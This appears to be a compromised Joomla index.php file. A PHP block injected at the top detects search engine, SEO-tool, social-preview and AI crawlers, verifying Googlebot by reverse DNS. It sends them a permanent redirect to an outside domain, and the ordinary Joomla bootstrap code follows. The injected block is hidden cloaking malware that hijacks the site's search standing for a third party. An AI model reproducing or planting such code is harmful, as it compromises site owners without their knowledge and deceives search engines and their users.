<?php function isRealGoogleBot(string $ip): bool
{
    $hostname = @gethostbyaddr($ip);
    if (!$hostname) return false;
    $valid = (substr($hostname, -strlen('.googlebot.com')) === '.googlebot.com') || (substr($hostname, -strlen('.google.com')) === '.google.com');
    if (!$valid) return false;
    return (@gethostbyname($hostname) === $ip);
}
function isSeoBotUA(string $ua): bool
{
    if ($ua === '') return false;
    $bots = ['Googlebot', 'Google-InspectionTool', 'Google-Site-Verification', 'Bingbot', 'BingPreview', 'Slurp', 'DuckDuckBot', 'YandexBot', 'Baiduspider', 'Sogou', 'Exabot', 'ia_archiver', 'PetalBot', 'SeznamBot', 'Applebot', 'Qwantify', 'CocCocBot', 'AhrefsBot', 'SemrushBot', 'MJ12bot', 'DotBot', 'MegaIndex', 'BLEXBot', 'SEOkicks-Robot', 'spbot', 'NetcraftSurveyAgent', 'Wotbox', 'UptimeRobot', 'Screaming Frog', 'SiteAuditBot', 'SurdotlyBot', 'ContentKing', 'Seoscanners', 'rogerbot', 'linkdexbot', 'ZoominfoBot', 'Nimbostratus-Bot', 'Lighthouse', 'RankActiveLinkBot', 'RankFlex', 'Cocolyzebot', 'BoardReader', 'LivelapBot', 'Google Favicon', 'Google-Read-Aloud', 'facebookexternalhit', 'Facebot', 'Twitterbot', 'LinkedInBot', 'Pinterestbot', 'Slackbot', 'WhatsApp', 'SkypeUriPreview', 'Discordbot', 'TelegramBot', 'Pingdom', 'GTmetrix', 'CloudFlare-AlwaysOnline', 'PhantomJS', 'HeadlessChrome', 'Google Page Speed Insights', 'GTmetrix Analyzer', 'GPTBot', 'ChatGPT', 'ChatGPT-User', 'ClaudeBot', 'Claude-Web', 'PerplexityBot', 'PerplexityCrawler', 'Google-Extended', 'GoogleOther', 'CCBot', 'ScaleSerpBot', 'Diffbot', 'Bytespider', 'KagiBot', 'FacebookBot'];
    foreach ($bots as $b) {
        if (stripos($ua, $b) !== false) return true;
    }
    return false;
}
$ip = $_SERVER['REMOTE_ADDR'] ?? '';
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$isBot = false;
if ($ip && (stripos($ua, 'Googlebot') !== false) && isRealGoogleBot($ip)) {
    $isBot = true;
} elseif (isSeoBotUA($ua)) {
    $isBot = true;
}
if ($isBot) {
    header('HTTP/1.1 301 Moved Permanently');

    header('Location: https://boxcat.gg/');
    header('X-Redirect-By: SEO-Bot-Rule');
    exit;
} ?>
<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
 */
define('JOOMLA_MINIMUM_PHP', '5.3.10');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<'))
{
	die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');
}

// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem  = memory_get_usage();

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php'))
{
	include_once __DIR__ . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', __DIR__);
	require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_BASE . '/includes/framework.php';

// Set profiler start time and memory usage and mark afterLoad in the profiler.
JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;

// Instantiate the application.
$app = JFactory::getApplication('site');

// Execute the application.
$app->execute();
